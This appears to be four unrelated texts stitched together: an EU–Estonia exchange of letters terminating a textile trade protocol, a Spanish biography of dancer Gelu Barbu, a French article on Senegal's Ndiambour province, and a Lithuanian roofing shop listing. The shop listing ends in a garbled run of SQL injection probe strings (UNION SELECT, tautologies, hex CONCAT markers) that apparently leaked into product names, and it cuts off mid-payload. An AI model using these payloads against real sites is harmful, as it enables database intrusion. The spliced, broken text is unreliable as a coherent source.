 Agreementin the form of an Exchange of Letters between the European Community and the Republic of Estonia terminating Protocol 1 on trade in textile and clothing products to the Europe Agreement establishing an association between the European Communities and their Member States, of the one part, and the Republic of Estonia, of the other partA. Letter from the CommunitySir,I have the honour to refer to Protocol 1 of the Europe Agreement on trade in textile and clothing products.In view of Estonia's accession to the WTO and thus to the multilateral Agreement on Textiles and Clothing (ATC), the European Community considers that Protocol 1 of the Europe Agreement on trade in textile and clothing products should be terminated with effect from 1 January 2001.I should be obliged if you could kindly confirm your Government's acceptance of the foregoing.Please, accept, Sir, the assurance of my highest consideration.For the European CommunityB. Letter from the Republic of EstoniaSir,I have the honour to acknowledge receipt of your letter of today's date, which reads as follows: "I have the honour to refer to Protocol 1 of the Europe Agreement on trade in textile and clothing products.In view of Estonia's accession to the WTO and thus to the multilateral Agreement on Textiles and Clothing (ATC), the European Community considers that Protocol 1 of the Europe Agreement on trade in textile and clothing products should be terminated with effect from 1 January 2001.I should be obliged if you could kindly confirm your Government's acceptance of the foregoing."I have the honour to confirm that my Government is in agreement with the content of your letter.Please, accept, Sir, the assurance of my highest consideration.For the Government of the Republic of Estonia


text:
Gelu Barbu (Lugoj, 1932 - Las Palmas de Gran Canaria, 17 de febrero de 2016) fue un bailarín y coreógrafo rumano nacionalizado español.
 Biografía
 Recibió la formación básica en danza en la Escuela de Ballet de la Ópera nacional de Bucarest con Anton Romanovski y Floria Capsali. Después de ingresar en el cuerpo de baile de la ópera en 1949, marchó a Leningrado, en la desaparecida Unión Soviética, donde se perfeccionó en la academia Vaganova junto a otros compañeros, como Rudolf Nureyev. Se graduó en 1955 bajo la maestría de Alexander Ivanovich Pushkin y regresó a la compañía de la Ópera de Bucarest, donde fue primer bailarín con el que participó en el montaje y representación de obras notables como El lago de los cisnes y El cascanueces de Chaikovski. En 1961, durante una gira de la compañía por la República Democrática Alemana, consiguió cruzar a Berlín Occidental y obtener asilo político. Trabajó en distintos países de Europa Occidental, donde fue primer bailarín la Ópera de Oslo, del Teatro de la Ópera de Núremberg y de la compañía Birgit Cullberg. También fue primer bailarín invitado de la Ópera de Estocolmo. A lo largo de estos años realizó giras por toda Europa y Asia.
 En 1966 llegó a Gran Canaria, en España, donde debía pasar un tiempo para recuperarse de una lesión. Finalmente decidió quedarse en la isla y fundó la primera compañía de danza de Canarias, el 'Ballet Las Palmas de Gelu Barbu', después 'Academia de Danza Gelu Barbu'. A través de la enseñanza, trabó contacto y relación profesional con los compositores españoles Juan José Falcón Sanabria y Luis de Pablo, entre otros. En 1983 obtuvo la nacionalidad española, fue miembro de número del Museo Canario y director artístico de los cursos internacionales de danza de Lisboa. En 2006 fue declarado Hijo Adoptivo de Gran Canaria por el Cabildo Insular de la isla. A lo largo de su carrera fue reconocido, entre otras, con la Orden de Constitución otorgada por el rey Olav V de Noruega en 1964 y como Caballero de la Orden de la Estrella de Rumania en 2002.
 En 2012 se estrenó con notable éxito de crítica y público documental 'Arte en el Exilio', sobre la figura de Gelu Barbu, escrito y dirigido por Gustavo Socorro y que cuenta con la participación del propio Barbu además de destacadas personalidades de la cultura como el bailarín y coreógrafo Víctor Ullate o el director teatral Jaime Azpilicueta, entre otros.
 Referencias
 Bailarines de Rumania
 Bailarines de España
 Coreógrafos de Rumania
 Coreógrafos de España
 Hijos adoptivos de la isla de Gran Canaria
 Nacidos en Lugoj
 Emigrantes rumanos hacia España


text:
Le Ndiambour (ou Diambour ou Njaambur en wolof) est une ancienne province du Cayor qui correspond à peu près à l'actuelle région de Louga, au nord-ouest du Sénégal. Ses habitants sont principalement des Wolofs.
 Histoire
 Le premier diaraf (jaraaf) du Ndiambour est Birima Fatim Mbissis Ndiaye qui est un prince de la lignée des du Djolof. Il est le fils de Massamba Waly Dialène qui est fils de Dialène mou Gnoul, lui-même fils de Birima Ndiémé Coumba, Bourba Djoloff. Il fut donc un prince authentique, mais n'accèda pas au trône du Djolof à cause de la transmission patrilinéaire de la couronne du Djolof. C'est pour cette raison que Massamba Waly Dialène, son père, s'exila au Ndiambour qui signifie littéralement « le pays des hommes libres ». Les membres de l'aristocratie tiédo s'y réfugièrent au contact de l'islam pour échapper aux pratiques des moyal ou razzias que les tiédos continuaient à pratiquer.
 Birima Fatim Mbissis donc, est comme son nom l'indique, le fils de Fatim qui venait d'une localité du nom de Mbissis (elle n'existe probablement plus). Pour l'histoire, cette période est marquée par des luttes de positionnement pour le trône du Kadior. L'héritier légitime du trône, le damel-teigne Meissa Teinde Dior Fall, dut combattre pour accéder au trône à la mort de son père. Durant cette traversée du désert, il fut assisté au cours de ces campagnes dans le Ndiambour par Fatim Mbissis qui lui apporta soutien logistique et zone de repli. Quand il accéda au trône du Cayor, le fils de Fatim Mbissis, Birima Fatim Mbissis, fut élu diaraf du Ndiambour. Il érigea sa capitale à Keur Boumy, un village à quelques kilomètres de Louga. Boumy, en wolof veut dire « prince ».
 Meissa Teinde Dior Fall, à sa mort, créa à son tour des luttes de positionnement au Cayor. Son petit-fils, Birima Ngoné Latyr Fall, renonça à l'exercice du pouvoir. Il s'engagea à libérer les Badolos de l'étreinte et des abus du pouvoir aristocratique. Son sens légendaire de la joie et de la paix lui valut le surnom de « Borom Mbaboor mi », c'est-à-dire le porteur de joie et d'allégresse. Ne dit-on pas que « fu mu yendu kufa yendu, yendoo naan », autrement dit « partout où il est, on y boit et on y mange à volonté ».
 Son demi-frère, Lat Dior Ngoné Latyr Diop, après un consensus, fut élu damel-teigne, ce fut le premier damel qui porta le nom . Cette période coïncida avec le mouvement d'annexion de la pénétration française. En 1886, le Cayor et ses différentes provinces furent annexées par Louis Faidherbe pour le compte de l'État français.
 L'héritier de Birima Fatim Mbissis, le Commandant Meissa Céllé Ndiaye, et l'héritier de Lat Dior, Mbakhane Lat Dior Diop, furent obligés d'intégrer l'école des fils de chefs de Saint Louis, qu'on appelle également l'« école des otages ».
 Meissa Céllé Nidaye intégra le commandement territorial des cercles où il servit entre autres à Rufisque. Mbakhane Lat Diop devint chef de province.
 Sources
 Association des grands griots du Sénégal
 Voir aussi
 Articles connexes
 Association sportive artistique et culturelle Ndiambour
 Bloc démocratique du Diambour
 Njambuur (patrouilleur)
 Bibliographie
 Medoune Guèye, Le Njambur de 1828 à 1891, Dakar, Université Cheikh Anta Diop, 1974, 122 p. (Mémoire de Maîtrise)
 « Le N'Diambour, province de liberté ou espace transculturel ? » in Pierre Kipré, Leonhard Harding et Boubacar Barry, Commerce et commerçants en Afrique de l'Ouest : l'exemple du Sénégal et de la Côte d'Ivoire, Paris, L'Harmattan, 1992, p. 71-72
 Ndiaye Ousseynou Ndièmé, Les dynamiques migratoires dans la société wolof : l’exemple du Ndiambour 1900-1950, Université de Dakar, 1990, 83 p. (Mémoire de Maîtrise)
 Lien externe
 M. Flize, « Le Ndiambour et le Gadiaga (provinces du Sénégal) », in Revue coloniale, tome XVII, janvier-, p. 390-392
 Géographie du Sénégal
 Histoire du Sénégal


text:
Stogui ir fasadui | Bausa.lt
 Stogas ir namo fasadas – esminiai lauko apdailos momentai, kuriantiems savo būstą. Renkantis stogo ar namo fasado apdailos medžiagas svarbu ne tik aukšta gaminių kokybė, patvarumas, funkcionalumas, bet ir moderni, stilinga išvaizda. Lauko dailylentės ir priedai, stoglangiai ir jų priedai, durų stogeliai ir stogų priedai, lietaus nuvedimo sistemos, vėjarodžiai ir sniego gaudyklės...
 Stogas ir namo fasadas – esminiai lauko apdailos momentai, kuriantiems savo būstą. Renkantis stogo ar namo fasado apdailos medžiagas svarbu ne tik aukšta gaminių kokybė, patvarumas, funkcionalumas, bet ir moderni, stilinga išvaizda. Lauko dailylentės ir priedai, stoglangiai ir jų priedai, durų stogeliai ir stogų priedai, lietaus nuvedimo sistemos, vėjarodžiai ir sniego gaudyklės, hidroizoliacinės plėvelės ir lipnios juostos, lauko fasado sistemos internetu e-parduotuvėje Bausa.lt – viskas, kas reikalinga atliekant lauko apdailos darbus, kad stogas ir namo fasadas atitiktų visus išrankiausio pirkėjo poreikius.
 1-20 iš 158
 Latakas 3m Raiko Premium
 Latakas 1m Raiko Premium
 CanExel® Ridgewood D-5TM 9
 CanExel® Ced’R-Vue ® 9
 CanExel® dailylenčių dažai
 Dvigubo lenkimo vinilinės dailylentės Siding
 Arkinis surenkamas stogelis STARKEDACH arka A-160, rudas
 Arkinis surenkamas stogelis Rodeo, 1600 x 1000 x 350 mm
 Sienelė stogeliui STARKEDACH, ruda
 Stogelis STARKEDACH tiesus T-152, su skaidriu organiniu stiklu
 Latakas 2m Raiko Premium
 Latako laikiklis prailgintas 210mm Raiko Premium
 Betono maišyklė ALTRAD MIX-130/Z , Golv- & Vägglim Express 245 , Gulv- & Vägglim Express 245 , -1000 OR 2845=2845 , -1004" UNION ALL SELECT 95,95,95,95,95,95# , -1004' OR 2581=9954# , -1008" WHERE 3516=3516 OR 2519=2519-- MpRc , -1008' UNION ALL SELECT 6012,6012,6012,6012,6012,6012,6012,6012,6012-- wQly , -1009 WHERE 2935=2935 OR 7196=4932-- EXDW , -1009")) OR ELT(4278=2150,2150) AND (("vaKJ" LIKE "vaKJ , -1010") UNION ALL SELECT 8996,8996,8996,8996,8996,8996,8996-- XjsW , -1010")) UNION ALL SELECT NULL,NULL,CONCAT(0x7176717171,0x444573676454684577446c4b4a6b59636e794865626a68445a797378654d6f536c537a5642616f72,0x7170626b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL# , -1012"))) UNION ALL SELECT 2373,2373,2373,2373,2373-- cYHl , -1012"))) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707171,0x466d6d7345456f586769,0x7171716b71),NULL# , -1013" OR (8317=6991)*6991 AND "COjQ"="COjQ , -1013' UNION ALL SELECT 3755,3755,3755,3755,3755,3755,3755,3755,3755,3755-- kMwn , -1013) OR 1681=(SELECT (CASE WHEN (1681=5981) THEN 1681 ELSE (SELECT 5981 UNION SELECT 2766) END))-- ZIxh , -1013) OR MAKE_SET(3592=6048,6048) AND (6973=6973 , -1014" UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170707671,0x777775786e686a6c5278564359457a475944676d4476537070596f444d62467065504146736c6a5a,0x716a627171),NULL# , -1014")) OR (6189=9702)*9702 AND (("CZJh" LIKE "CZJh